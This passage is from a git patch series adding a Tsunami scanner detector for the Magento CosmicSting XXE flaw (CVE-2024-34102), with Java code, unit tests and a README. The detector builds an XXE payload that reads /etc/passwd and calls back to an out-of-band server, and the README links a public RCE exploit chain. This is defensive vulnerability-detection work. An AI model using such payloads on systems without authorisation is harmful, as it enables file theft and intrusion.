true; + } + + // Build the XML XXE payload + String xxePayload = + PAYLOAD_TEMPLATE + .replace("{OOB_CALLBACK}", oobCallbackUrl) + .replace("{DTD_FILE}", DTD_FILE_URL); + + // Wrap the XXE payload in a JSON object + String jsonPayload = getJsonPayload(xxePayload); + + // Send the malicious HTTP request + boolean responseMatchingVulnerable = sendPayload(networkService, jsonPayload); + + // No need to wait for the callback when the callback server is not available + if (responseMatchingOnly) { + if (responseMatchingVulnerable) { + logger.atInfo().log("Vulnerability confirmed via response matching."); + } + return responseMatchingVulnerable; + } + + logger.atInfo().log("Waiting for XXE callback."); + + Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(oobSleepDuration)); + + // payload should never be null here as we should have already returned in that case + assert payload != null; + if (payload.checkIfExecuted()) { + logger.atInfo().log("Vulnerability confirmed via Callback Server."); + return true; + } else if (responseMatchingVulnerable) { + logger.atWarning().log( + "HTTP response seems vulnerable, but no callback was received. Other mitigations may have" + + " been applied."); + return false; + } else { + logger.atInfo().log( + "Callback not received and response does not match vulnerable instance, instance is not" + + " vulnerable."); + return false; + } + } + + private DetectionReport buildDetectionReport( + TargetInfo targetInfo, NetworkService vulnerableNetworkService) { + + // Set the additional details section to the detected Magento version + String additionalDetails; + if (this.detectedMagentoVersion == null) { + additionalDetails = "Could not detect Magento version."; + } else { + additionalDetails = "Magento version: " + detectedMagentoVersion; + } + + // Set description and severity depending on whether the vulnerability was verified via an OOB + // callback or with response matching only + String description; + Severity severity; + if (this.responseMatchingOnly) { + description = VULNERABILITY_REPORT_DESCRIPTION_RESPONSE_MATCHING; + severity = Severity.HIGH; + } else { + description = VULNERABILITY_REPORT_DESCRIPTION_CALLBACK; + severity = Severity.CRITICAL; + } + + return DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(vulnerableNetworkService) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher(VULNERABILITY_REPORT_PUBLISHER) + .setValue(VULNERABILITY_REPORT_ID)) + .setSeverity(severity) + .setTitle(VULNERABILITY_REPORT_TITLE) + .setDescription(description) + .setRecommendation(VULNERABILITY_REPORT_RECOMMENDATION) + .addAdditionalDetails( + AdditionalDetail.newBuilder() + .setTextData(TextData.newBuilder().setText(additionalDetails)))) + .build(); + } +} diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeBootstrapModule.java b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeBootstrapModule.java new file mode 100644 index 000000000..7b8bbb25e --- /dev/null +++ b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeBootstrapModule.java @@ -0,0 +1,43 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves.cve202434102; + +import com.google.inject.Provides; +import com.google.tsunami.plugin.PluginBootstrapModule; +import com.google.tsunami.plugins.detectors.cves.cve202434102.Annotations.OobSleepDuration; + +/** An example Guice module that bootstraps the {@link MagentoCosmicStingXxe}. */ +public final class MagentoCosmicStingXxeBootstrapModule extends PluginBootstrapModule { + + @Override + protected void configurePlugin() { + // Tsunami relies heavily on Guice (https://github.com/google/guice). All Guice bindings for + // your plugin should be implemented here. + + // registerPlugin method is required in order for the Tsunami scanner to identify your plugin. + registerPlugin(MagentoCosmicStingXxe.class); + } + + @Provides + @OobSleepDuration + int provideOobSleepDuration(MagentoCosmicStingXxeConfigs configs) { + if (configs.oobSleepDuration == -1) { + return 10; + } + + return configs.oobSleepDuration; + } +} diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeConfigs.java b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeConfigs.java new file mode 100644 index 000000000..d5b455b1e --- /dev/null +++ b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeConfigs.java @@ -0,0 +1,23 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves.cve202434102; + +import com.google.tsunami.common.config.annotations.ConfigProperties; + +@ConfigProperties("plugins.detectors.magento_cosmicsting_xxe") +final class MagentoCosmicStingXxeConfigs { + int oobSleepDuration = -1; +} diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java b/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java new file mode 100644 index 000000000..6109df71d --- /dev/null +++ b/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java @@ -0,0 +1,269 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves.cve202434102; + +import static com.google.common.truth.Truth.assertThat; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; +import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.*; + +import com.google.common.collect.ImmutableList; +import com.google.inject.Guice; +import com.google.inject.testing.fieldbinder.Bind; +import com.google.inject.testing.fieldbinder.BoundFieldModule; +import com.google.inject.util.Modules; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.net.http.HttpClientModule; +import com.google.tsunami.common.net.http.HttpStatus; +import com.google.tsunami.common.time.testing.FakeUtcClock; +import com.google.tsunami.common.time.testing.FakeUtcClockModule; +import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; +import com.google.tsunami.plugin.payload.testing.PayloadTestHelper; +import com.google.tsunami.plugins.detectors.cves.cve202434102.Annotations.OobSleepDuration; +import com.google.tsunami.proto.*; +import java.io.IOException; +import java.time.Instant; +import javax.inject.Inject; +import okhttp3.mockwebserver.Dispatcher; +import okhttp3.mockwebserver.MockResponse; +import okhttp3.mockwebserver.MockWebServer; +import okhttp3.mockwebserver.RecordedRequest; +import org.junit.After; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** Unit tests for {@link MagentoCosmicStingXxe}. */ +@RunWith(JUnit4.class) +public final class MagentoCosmicStingXxeTest { + + private final FakeUtcClock fakeUtcClock = + FakeUtcClock.create().setNow(Instant.parse("2024-08-28T13:37:00.00Z")); + + @Bind(lazy = true) + @OobSleepDuration + private final int oobSleepDuration = 0; + + @Inject private MagentoCosmicStingXxe detector; + private MockWebServer mockWebServer = new MockWebServer(); + private MockWebServer mockCallbackServer = new MockWebServer(); + + private static final String MOCK_MAGENTO_VERSION = "Magento/2.4 (Mock)"; + private static final String PATCHED_INSTANCE_RESPONSE = "{\"message\":\"Invalid data type\"}"; + private static final String VULNERABLE_INSTANCE_RESPONSE = + "{\"message\":\"Internal Error. Details are available in Magento log file. Report ID:" + + " webapi-deadbeef1337\"}"; + + @Before + public void setUp() throws IOException { + mockWebServer = new MockWebServer(); + mockCallbackServer.start(); + } + + @After + public void tearDown() throws Exception { + mockCallbackServer.shutdown(); + mockWebServer.shutdown(); + } + + private void createInjector(boolean tcsAvailable) { + Guice.createInjector( + new FakeUtcClockModule(fakeUtcClock), + new HttpClientModule.Builder().build(), + FakePayloadGeneratorModule.builder() + .setCallbackServer(tcsAvailable ? mockCallbackServer : null) + .build(), + Modules.override(new MagentoCosmicStingXxeBootstrapModule()) + .with(BoundFieldModule.of(this))) + .injectMembers(this); + } + + @Test + public void detect_whenVulnerableAndTcsAvailable_reportsCriticalVulnerability() + throws IOException { + ImmutableList httpServices = mockWebServerSetup(true); + TargetInfo targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(forHostname(mockWebServer.getHostName())) + .build(); + + createInjector(true); + mockCallbackServer.enqueue(PayloadTestHelper.generateMockSuccessfulCallbackResponse()); + + DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); + + DetectionReport expectedDetection = + generateDetectionReportWithCallback(targetInfo, httpServices.get(0)); + assertThat(detectionReports.getDetectionReportsList()).containsExactly(expectedDetection); + assertThat(mockWebServer.getRequestCount()).isEqualTo(2); + assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); + } + + @Test + public void detect_whenVulnerableAndTcsNotAvailable_reportsHighVulnerability() + throws IOException { + ImmutableList httpServices = mockWebServerSetup(true); + TargetInfo targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(forHostname(mockWebServer.getHostName())) + .build(); + + createInjector(false); + + DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); + + DetectionReport expectedDetection = + generateDetectionReportWithResponseMatching(targetInfo, httpServices.get(0)); + assertThat(detectionReports.getDetectionReportsList()).containsExactly(expectedDetection); + assertThat(mockWebServer.getRequestCount()).isEqualTo(2); + assertThat(mockCallbackServer.getRequestCount()).isEqualTo(0); + } + + @Test + public void detect_whenNotVulnerableAndTcsAvailable_reportsNoVulnerability() throws IOException { + ImmutableList httpServices = mockWebServerSetup(false); + TargetInfo targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(forHostname(mockWebServer.getHostName())) + .build(); + + createInjector(true); + mockCallbackServer.enqueue(PayloadTestHelper.generateMockUnsuccessfulCallbackResponse()); + + DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); + + assertThat(detectionReports.getDetectionReportsList()).isEmpty(); + assertThat(mockWebServer.getRequestCount()).isEqualTo(2); + assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); + } + + @Test + public void detect_whenNotVulnerableAndTcsNotAvailable_reportsNoVulnerability() + throws IOException { + ImmutableList httpServices = mockWebServerSetup(false); + TargetInfo targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(forHostname(mockWebServer.getHostName())) + .build(); + + createInjector(false); + + DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); + + assertThat(detectionReports.getDetectionReportsList()).isEmpty(); + assertThat(mockWebServer.getRequestCount()).isEqualTo(2); + assertThat(mockCallbackServer.getRequestCount()).isEqualTo(0); + } + + private DetectionReport generateDetectionReportWithCallback( + TargetInfo targetInfo, NetworkService networkService) { + String additionalDetails = "Magento version: " + MOCK_MAGENTO_VERSION; + + return DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(networkService) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher(VULNERABILITY_REPORT_PUBLISHER) + .setValue(VULNERABILITY_REPORT_ID)) + .setSeverity(Severity.CRITICAL) + .setTitle(VULNERABILITY_REPORT_TITLE) + .setDescription(VULNERABILITY_REPORT_DESCRIPTION_CALLBACK) + .setRecommendation(VULNERABILITY_REPORT_RECOMMENDATION) + .addAdditionalDetails( + AdditionalDetail.newBuilder() + .setTextData(TextData.newBuilder().setText(additionalDetails)))) + .build(); + } + + private DetectionReport generateDetectionReportWithResponseMatching( + TargetInfo targetInfo, NetworkService networkService) { + String additionalDetails = "Magento version: " + MOCK_MAGENTO_VERSION; + + return DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(networkService) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher(VULNERABILITY_REPORT_PUBLISHER) + .setValue(VULNERABILITY_REPORT_ID)) + .setSeverity(Severity.HIGH) + .setTitle(VULNERABILITY_REPORT_TITLE) + .setDescription(VULNERABILITY_REPORT_DESCRIPTION_RESPONSE_MATCHING) + .setRecommendation(VULNERABILITY_REPORT_RECOMMENDATION) + .addAdditionalDetails( + AdditionalDetail.newBuilder() + .setTextData(TextData.newBuilder().setText(additionalDetails)))) + .build(); + } + + private ImmutableList mockWebServerSetup(boolean isVulnerable) + throws IOException { + mockWebServer.setDispatcher(new EndpointDispatcher(isVulnerable)); + mockWebServer.start(); + return ImmutableList.of( + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .setTransportProtocol(TransportProtocol.TCP) + .setServiceName("http") + .build()); + } + + static final class EndpointDispatcher extends Dispatcher { + EndpointDispatcher(boolean isVulnerable) { + this.isVulnerable = isVulnerable; + } + + private final boolean isVulnerable; + + @Override + public MockResponse dispatch(RecordedRequest recordedRequest) { + + if (recordedRequest.getMethod().equals("GET") + && recordedRequest.getPath().equals("/magento_version")) { + // Version detection request + return new MockResponse() + .setResponseCode(HttpStatus.OK.code()) + .setBody(MOCK_MAGENTO_VERSION); + } else if (recordedRequest.getMethod().equals("POST") + && recordedRequest.getPath().equals("/" + VULNERABLE_ENDPOINT_PATH)) { + // Exploit attempt + if (isVulnerable) { + return new MockResponse() + .setResponseCode(HttpStatus.INTERNAL_SERVER_ERROR.code()) + .setBody(VULNERABLE_INSTANCE_RESPONSE); + } else { + return new MockResponse() + .setResponseCode(HttpStatus.BAD_REQUEST.code()) + .setBody(PATCHED_INSTANCE_RESPONSE); + } + } else { + // Anything else, return a 404 + return new MockResponse().setResponseCode(HttpStatus.NOT_FOUND.code()); + } + } + } +} From bd1c118205e9c13e3f1600a03814a77ab7b76025 Mon Sep 17 00:00:00 2001 From: lokiuox Date: Wed, 28 Aug 2024 23:47:44 +0200 Subject: [PATCH 03/11] More lax version string detection --- .../detectors/cves/cve202434102/MagentoCosmicStingXxe.java | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java index 32bebec5f..25e5a6c60 100644 --- a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java +++ b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java @@ -166,8 +166,7 @@ private String detectMagentoVersion(NetworkService networkService) { try { HttpResponse response = this.httpClient.send(req, networkService); - if (response.status().code() == HttpStatus.OK.code() - && response.bodyString().orElse("").startsWith("Magento")) { + if (response.status() == HttpStatus.OK && response.bodyString().orElse("").contains("Magento")) { String version = response.bodyString().get(); logger.atInfo().log("Detected Magento version: '%s'", version); return version; From b5746ed4e7d48726d72bcf400c042448944822d6 Mon Sep 17 00:00:00 2001 From: lokiuox Date: Thu, 29 Aug 2024 01:09:03 +0200 Subject: [PATCH 04/11] Minor stylistic fixes --- .../cves/cve202434102/MagentoCosmicStingXxe.java | 12 ++++++------ .../cves/cve202434102/MagentoCosmicStingXxeTest.java | 12 +++++++++++- 2 files changed, 17 insertions(+), 7 deletions(-) diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java index 25e5a6c60..a0be01082 100644 --- a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java +++ b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java @@ -68,7 +68,6 @@ bootstrapModule = MagentoCosmicStingXxeBootstrapModule.class) public final class MagentoCosmicStingXxe implements VulnDetector { @VisibleForTesting static final String VULNERABILITY_REPORT_PUBLISHER = "TSUNAMI_COMMUNITY"; - @VisibleForTesting static final String VULNERABILITY_REPORT_ID = "CVE-2024-34102"; @VisibleForTesting @@ -125,7 +124,6 @@ public final class MagentoCosmicStingXxe implements VulnDetector { private final HttpClient httpClient; private final PayloadGenerator payloadGenerator; private final int oobSleepDuration; - private boolean responseMatchingOnly = false; private String detectedMagentoVersion = null; @@ -166,7 +164,8 @@ private String detectMagentoVersion(NetworkService networkService) { try { HttpResponse response = this.httpClient.send(req, networkService); - if (response.status() == HttpStatus.OK && response.bodyString().orElse("").contains("Magento")) { + if (response.status() == HttpStatus.OK + && response.bodyString().orElse("").contains("Magento")) { String version = response.bodyString().get(); logger.atInfo().log("Detected Magento version: '%s'", version); return version; @@ -275,7 +274,6 @@ private boolean sendPayload(NetworkService networkService, String jsonPayload) { // Checks whether a given Magento instance is exposed and vulnerable. private boolean isServiceVulnerable(NetworkService networkService) { - // Fetch the version of the running Magento instance this.detectedMagentoVersion = detectMagentoVersion(networkService); @@ -307,6 +305,10 @@ private boolean isServiceVulnerable(NetworkService networkService) { } // Build the XML XXE payload + // Note: when the callback server is not available, oobCallbackUrl will be an empty string. + // This is fine, as in that case we only care about the HTTP response, the contents of the + // payload + // don't really matter. String xxePayload = PAYLOAD_TEMPLATE .replace("{OOB_CALLBACK}", oobCallbackUrl) @@ -327,7 +329,6 @@ private boolean isServiceVulnerable(NetworkService networkService) { } logger.atInfo().log("Waiting for XXE callback."); - Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(oobSleepDuration)); // payload should never be null here as we should have already returned in that case @@ -350,7 +351,6 @@ private boolean isServiceVulnerable(NetworkService networkService) { private DetectionReport buildDetectionReport( TargetInfo targetInfo, NetworkService vulnerableNetworkService) { - // Set the additional details section to the detected Magento version String additionalDetails; if (this.detectedMagentoVersion == null) { diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java b/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java index 6109df71d..5d57b6569 100644 --- a/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java +++ b/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java @@ -33,7 +33,17 @@ import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; import com.google.tsunami.plugin.payload.testing.PayloadTestHelper; import com.google.tsunami.plugins.detectors.cves.cve202434102.Annotations.OobSleepDuration; -import com.google.tsunami.proto.*; +import com.google.tsunami.proto.AdditionalDetail; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.TextData; +import com.google.tsunami.proto.TransportProtocol; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; From db6635afc2f939a234b49da068c1860a9b8e9a23 Mon Sep 17 00:00:00 2001 From: Savio Sisco <25590129+lokiuox@users.noreply.github.com> Date: Thu, 29 Aug 2024 01:15:42 +0200 Subject: [PATCH 05/11] Removed extra newline --- .../detectors/cves/cve202434102/MagentoCosmicStingXxe.java | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java index a0be01082..8824098ee 100644 --- a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java +++ b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java @@ -307,8 +307,7 @@ private boolean isServiceVulnerable(NetworkService networkService) { // Build the XML XXE payload // Note: when the callback server is not available, oobCallbackUrl will be an empty string. // This is fine, as in that case we only care about the HTTP response, the contents of the - // payload - // don't really matter. + // payload don't really matter. String xxePayload = PAYLOAD_TEMPLATE .replace("{OOB_CALLBACK}", oobCallbackUrl) From 2ee181f0a4c240ba44a4bb2d296cd08e10101d34 Mon Sep 17 00:00:00 2001 From: lokiuox Date: Thu, 29 Aug 2024 13:48:20 +0200 Subject: [PATCH 06/11] Better vulnerability description --- .../detectors/magento_cosmicsting_xxe/README.md | 13 ++++++++++++- .../cves/cve202434102/MagentoCosmicStingXxe.java | 8 +++++--- 2 files changed, 17 insertions(+), 4 deletions(-) diff --git a/doyensec/detectors/magento_cosmicsting_xxe/README.md b/doyensec/detectors/magento_cosmicsting_xxe/README.md index 49ed00106..4ce3f9465 100644 --- a/doyensec/detectors/magento_cosmicsting_xxe/README.md +++ b/doyensec/detectors/magento_cosmicsting_xxe/README.md @@ -1,7 +1,17 @@ # Magento / Adobe Commerce CosmicSting XXE (CVE-2024-34102) ## Description -Adobe Commerce and Magento v2.4.7 and earlier are vulnerable to a critical unauthenticated XXE (XML External Entity) vulnerability that could allow arbitrary code execution. The vulnerability can be exploited by sending an unauthenticated HTTP request with a crafted XML file that references external entities; when the request payload is deserialized, the attacker can extract sensitive files from the system and gain administrative access to the software. Remote Code Execution (RCE) could be accomplished by combining the issue with another vulnerability, such as the [PHP iconv RCE](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1). +Adobe Commerce and Magento v2.4.7 and earlier are vulnerable to a critical unauthenticated XXE (XML External Entity) vulnerability that can lead to arbitrary code execution on unpatched systems. The vulnerability can be exploited by sending an unauthenticated HTTP request with a crafted XML file that references external entities; when the request payload is deserialized, the attacker can extract sensitive files from the system and gain administrative access to the software. + +### Impact + +The CosmicSting XXE vulnerability by itself can be exploited to perform Arbitrary File Reads and Server-Side Request Forgeries (SSRF). Effectively, this allows attackers to leak sensitive information from files in the target system or from internal network endpoints. For example, an attacker could leak Magento's configuration files to gain administrative access to the software, or leak an SSH key to log onto the system itself. + +### Remote Code Execution +On unpatched systems, Remote Code Execution can be achieved by combining the CosmicSting XXE vulnerability with the [PHP iconv RCE](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1) (aka CNEXT). A very reliable public exploit for Magento that leverages both vulnerabilities and achieves RCE was released by @cfreal, the author of the iconv research, and can be found [here](https://github.com/ambionics/cnext-exploits/blob/main/cosmicsting-cnext-exploit.py). + +### Detector's implementation +This detector only exploits the XXE vulnerability to perform a simple Arbitrary File Read (leaking `/etc/passwd`) and a SSRF (calling back to the Tsunami Callback Server). It was not possible to implement the full RCE exploit due to the current limitations of the Callback Server. Specifically, the RCE exploit requires leaking the process memory map and the system's libc binary, in order to properly calculate the memory addresses needed for the final exploit step. Even if the Callback Server allows us to check whether a callback was received, it doesn't allow us to fetch any extra data attached to the request (such as URL parameters or the POST body), thus it makes it impossible for us to retrieve the leaked data needed for the full exploit. ## Affected Versions - 2.4.7 and earlier @@ -17,6 +27,7 @@ Adobe Commerce and Magento v2.4.7 and earlier are vulnerable to a critical unaut - [CosmicSting: critical unauthenticated XXE vulnerability in Adobe Commerce and Magento (CVE-2024-34102)](https://www.vicarius.io/vsociety/posts/cosmicsting-critical-unauthenticated-xxe-vulnerability-in-adobe-commerce-and-magento-cve-2024-34102) - [NIST: CVE-2024-34102](https://nvd.nist.gov/vuln/detail/CVE-2024-34102) - [Adobe Security Bulletin APSB24-40](https://helpx.adobe.com/security/products/magento/apsb24-40.html) +- [CosmicSting CNEXT RCE exploit](https://github.com/ambionics/cnext-exploits/blob/main/cosmicsting-cnext-exploit.py) ## Build jar file for this plugin diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java index 8824098ee..d1d1a09a7 100644 --- a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java +++ b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java @@ -80,15 +80,17 @@ public final class MagentoCosmicStingXxe implements VulnDetector { + " HTTP request with a crafted XML file that references external entities; when the" + " request payload is deserialized, the attacker can extract sensitive files from the" + " system and gain administrative access to the software. Remote Code Execution (RCE)" - + " could be accomplished by combining the issue with another vulnerability, such as the" - + " PHP iconv RCE. See: https://nvd.nist.gov/vuln/detail/CVE-2024-34102 or" + + " can be accomplished by combining this issue with another vulnerability, such as the" + + " PHP iconv RCE (CVE-2024-2961). An exploit that leverages both vulnerabilities to" + + " achieve RCE on unpatched Magento is publicly available.\n" + + "See: https://nvd.nist.gov/vuln/detail/CVE-2024-34102 or" + " https://helpx.adobe.com/security/products/magento/apsb24-40.html for more" + " information.\n"; @VisibleForTesting static final String VULNERABILITY_REPORT_DESCRIPTION_CALLBACK = VULNERABILITY_REPORT_DESCRIPTION_BASIC - + "The vulnerability was confirmed via an Out of Band Callback."; + + "The vulnerability was confirmed via an out of band callback."; @VisibleForTesting static final String VULNERABILITY_REPORT_DESCRIPTION_RESPONSE_MATCHING = From 8cd6764a964f382d026afd4b078ef8f4b3367b3c Mon Sep 17 00:00:00 2001 From: lokiuox Date: Wed, 4 Sep 2024 16:43:58 +0200 Subject: [PATCH 07/11] Added newlines after copyright notice --- .../tsunami/plugins/detectors/cves/cve202434102/Annotations.java | 1 + .../detectors/cves/cve202434102/MagentoCosmicStingXxe.java | 1 + .../cves/cve202434102/MagentoCosmicStingXxeBootstrapModule.java | 1 + .../cves/cve202434102/MagentoCosmicStingXxeConfigs.java | 1 + .../detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java | 1 + 5 files changed, 5 insertions(+) diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/Annotations.java b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/Annotations.java index 6f172e7aa..f29c8ed7e 100644 --- a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/Annotations.java +++ b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/Annotations.java @@ -13,6 +13,7 @@ * See the License for the specific language governing permissions and * limitations under the License. */ + package com.google.tsunami.plugins.detectors.cves.cve202434102; import static java.lang.annotation.ElementType.FIELD; diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java index d1d1a09a7..8534ba4fd 100644 --- a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java +++ b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java @@ -13,6 +13,7 @@ * See the License for the specific language governing permissions and * limitations under the License. */ + package com.google.tsunami.plugins.detectors.cves.cve202434102; import static com.google.common.base.Preconditions.checkNotNull; diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeBootstrapModule.java 